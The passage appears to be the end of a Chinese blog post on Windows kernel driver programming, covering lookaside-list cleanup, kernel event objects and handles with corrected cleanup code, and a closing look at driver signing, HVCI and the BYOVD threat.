</div></div><div><div><div>8</div></div><div><span>ExFreeToNPagedLookasideList</span><span><span>(</span><span>pLookasideList</span><span>,</span><span> pFirstMemory</span><span>);</span></span></div></div><div><div><div>9</div></div><div><span>pFirstMemory </span><span>=</span><span> </span><span>NULL</span><span>;</span></div></div><div><div><div>10</div></div><div><span>pFirstMemory </span><span>=</span><span> </span><span>ExAllocateFromNPagedLookasideList</span><span><span>(</span><span>pLookasideList</span><span>);</span></span><span>   // 大概率拿到刚才那块</span></div></div><div><div><div>11</div></div><div>
</div></div><div><div><div>12</div></div><div><span>// 收尾：先还块，再删表，最后释放表本身</span></div></div><div><div><div>13</div></div><div><span>if</span><span> (pFirstMemory  </span><span>!=</span><span> </span><span>NULL</span><span>) { </span><span>ExFreeToNPagedLookasideList</span><span>(pLookasideList, pFirstMemory);  pFirstMemory  </span><span>=</span><span> </span><span>NULL</span><span>; }</span></div></div><div><div><div>14</div></div><div><span>if</span><span> (pSecondMemory </span><span>!=</span><span> </span><span>NULL</span><span>) { </span><span>ExFreeToNPagedLookasideList</span><span>(pLookasideList, pSecondMemory); pSecondMemory </span><span>=</span><span> </span><span>NULL</span><span>; }</span></div></div><div><div><div>15</div></div><div><span>ExDeleteNPagedLookasideList</span><span><span>(</span><span>pLookasideList</span><span>);</span></span></div></div><div><div><div>16</div></div><div><span>ExFreePoolWithTag</span><span><span>(</span><span>pLookasideList</span><span>,</span><span> </span></span><span>'test'</span><span>);</span></div></div></code></pre><div><div></div><div></div></div></figure></div><div><div><div></div><div>注意</div></div><div><p>这里有个必须改的 bug。当年笔记里收尾那几段判断全写成 <code>== NULL</code> 才去释放，等于”没分配成功的时候去释放一个空指针，分配成功的那些反而全泄漏”，全反了。上面已经改成 <code>!= NULL</code>。这类 bug 编译器不会报，Driver Verifier 的 <code>UnsafeAllocatePool</code> 和 pool tracking 能抓到。</p></div></div><blockquote><p>另外，如果快表是驱动级的长期结构，应该放在设备扩展里、在 <code>DriverEntry</code> 初始化、在 <code>DriverUnload</code> 删掉，而不是在一次函数调用的 <code>do { } while(FALSE)</code> 里建了又拆，那样反而比直接用池分配还慢。</p></blockquote><hr /></section></section>
<section><h2>内核对象与句柄<a href="#内核对象与句柄"><span>#</span></a></h2><p>内核中创建、由内核管理和销毁的对象叫内核对象。用户态拿到的是句柄（一个进程句柄表里的索引），内核态要拿到对象本身，得用 <code>ObReferenceObjectByHandle</code> 把句柄翻成指针。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>HANDLE hCreateEvent </span><span>=</span><span> </span><span>NULL</span><span>;</span></div></div><div><div><div>2</div></div><div><span>PVOID  pCreateEventObject </span><span>=</span><span> </span><span>NULL</span><span>;</span></div></div><div><div><div>3</div></div><div><span>OBJECT_ATTRIBUTES ObjAttr </span><span>=</span><span> { </span><span>0</span><span> };</span></div></div><div><div><div>4</div></div><div><span>UNICODE_STRING uNameString </span><span>=</span><span> { </span><span>0</span><span> };</span></div></div><div><div><div>5</div></div><div>
</div></div><div><div><div>6</div></div><div><span>RtlInitUnicodeString</span><span>(</span><span>&amp;</span><span><span>uNameString</span><span>,</span><span> L</span></span><span>"</span><span>\\</span><span>BaseNamedObjects</span><span>\\</span><span>TestEvent"</span><span>);</span></div></div><div><div><div>7</div></div><div><span>InitializeObjectAttributes</span><span>(</span><span>&amp;</span><span><span>ObjAttr</span><span>,</span><span> </span></span><span>&amp;</span><span><span>uNameString</span><span>,</span></span></div></div><div><div><div>8</div></div><div><span><span>                           </span></span><span>OBJ_KERNEL_HANDLE </span><span>|</span><span><span> OBJ_CASE_INSENSITIVE</span><span>,</span><span> </span></span><span>NULL</span><span><span>,</span><span> </span></span><span>NULL</span><span>);</span></div></div><div><div><div>9</div></div><div>
</div></div><div><div><div>10</div></div><div><span>NTSTATUS status </span><span>=</span><span> </span><span>ZwCreateEvent</span><span>(</span><span>&amp;</span><span><span>hCreateEvent</span><span>,</span><span> EVENT_ALL_ACCESS</span><span>,</span><span> </span></span><span>&amp;</span><span><span>ObjAttr</span><span>,</span></span></div></div><div><div><div>11</div></div><div><span><span>                                </span></span><span>SynchronizationEvent</span><span>,</span><span> </span><span>FALSE</span><span>);</span></div></div><div><div><div>12</div></div><div><span>if</span><span> (</span><span>!</span><span>NT_SUCCESS</span><span><span>(</span><span>status</span><span>)) {</span></span><span> /* 处理失败 */</span><span> }</span></div></div><div><div><div>13</div></div><div>
</div></div><div><div><div>14</div></div><div><span>status </span><span>=</span><span> </span><span>ObReferenceObjectByHandle</span><span><span>(</span><span>hCreateEvent</span><span>,</span><span> EVENT_ALL_ACCESS</span><span>,</span></span></div></div><div><div><div>15</div></div><div><span>                                   </span><span>*</span><span><span>ExEventObjectType</span><span>,</span><span> KernelMode</span><span>,</span></span></div></div><div><div><div>16</div></div><div><span>                                   </span><span>&amp;</span><span><span>pCreateEventObject</span><span>,</span><span> </span></span><span>NULL</span><span>);</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>还有几个要点：</p><ul>
<li>判断成功与否要看 <code>NTSTATUS</code>，不是看句柄是不是 NULL，<code>ZwCreateEvent</code> 失败时句柄不会被赋值</li>
<li><code>OBJ_KERNEL_HANDLE</code> 让句柄只在内核句柄表里可见，用户态打不开，这是驱动开对象时的默认选择</li>
<li><code>ObReferenceObjectByHandle</code> 会加一次引用计数，用完必须 <code>ObDereferenceObject</code>，否则对象永远释放不掉</li>
<li>句柄要 <code>ZwClose</code> 关掉，对象引用要 <code>ObDereferenceObject</code> 减掉，这是两笔不同的账</li>
</ul><div><div><div></div><div>注意</div></div><div><p>同样必须改的还有清理条件，当年全写反了，<code>if (pCreateEventObject == NULL) ObDereferenceObject(...)</code>，也就是对空指针解引用，而真正需要减引用的那些都漏了。正确的收尾是：</p></div></div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>if</span><span> (pCreateEventObject </span><span>!=</span><span> </span><span>NULL</span><span>) { </span><span>ObDereferenceObject</span><span>(pCreateEventObject); pCreateEventObject </span><span>=</span><span> </span><span>NULL</span><span>; }</span></div></div><div><div><div>2</div></div><div><span>if</span><span> (hCreateEvent       </span><span>!=</span><span> </span><span>NULL</span><span>) { </span><span>ZwClose</span><span>(hCreateEvent);               hCreateEvent       </span><span>=</span><span> </span><span>NULL</span><span>; }</span></div></div></code></pre><div><div></div><div></div></div></figure></div><div><div><div></div><div>注意</div></div><div><p>还有个小坑，<code>ntddk.h</code> 和 <code>ntifs.h</code> 一起包含时会冲突，把 <code>ntifs.h</code> 放在前面就行。</p></div></div><blockquote><p>当年还有个”注册表”小节只写了段 HIVE 的介绍，代码是空的、标着”未完待续”，这里就不留了。内核里读写注册表无非 <code>ZwOpenKey</code> / <code>ZwQueryValueKey</code> / <code>ZwSetValueKey</code> 那几个，配 <code>OBJ_KERNEL_HANDLE</code> 用，和上面开 Event 的路子一样。</p></blockquote><hr /></section>
<section><h2>今天再看<a href="#今天再看"><span>#</span></a></h2><p>这几篇是 2020 年写的，环境从 Win7 换到 Win10 的时候，最大的变化其实不是 API，是<strong>微软对第三方驱动的态度变了</strong>。</p><p>2020 年那会儿，新驱动要进硬件开发者门户做签名，门槛已经是 EV 证书了；而按微软的文档，从 Windows 10 1607 起，系统就不再加载任何没经过开发者门户签名的<strong>新</strong>内核驱动了，自己拿个证书签一个已经不管用（那套交叉签名在 2015 年之后就已经不行了）。同时 <strong>HVCI（Hypervisor-protected Code Integrity，内存完整性）</strong> 越来越普及，Windows 11 上很多机器默认就开着。它把代码完整性检查搬到一个 Hyper-V 隔离出来的安全环境里，内核自己都没法绕过，这直接堵死了”改内核代码再执行”这类手法。</p><p>另一件和这个领域关系很大的事是 <strong>BYOVD（Bring Your Own Vulnerable Driver）</strong>。攻击者不去找 Windows 本身的漏洞，而是找一个<strong>合法的、签过名的</strong>、但自身有漏洞的第三方驱动，加载它，再用它的漏洞去干内核里想干的事。因为驱动是签过名的，HVCI 也拦不住。微软的应对是维护一份<strong>易受攻击驱动黑名单</strong>（Microsoft Vulnerable Driver Blocklist），HVCI 开着的时候它就生效，Windows 11 上默认启用，名单一年更新一两次，里面全是历史上被利用过的签名驱动。</p><p>所以现在写内核驱动，除了把代码写对，还要意识到一件事，驱动一旦加载就是最高权限，任何一点输入校验的疏忽都可能被拿去当 BYOVD 的原料。这也是为什么今天 WDK 默认给你打开一堆 Driver Verifier 检查，编译时还会对 <code>ExAllocatePool</code> 这类老 API 报 deprecated，它们就是在推着你写出不容易被利用的代码。</p></section>]]></content>
    </entry>
</feed>
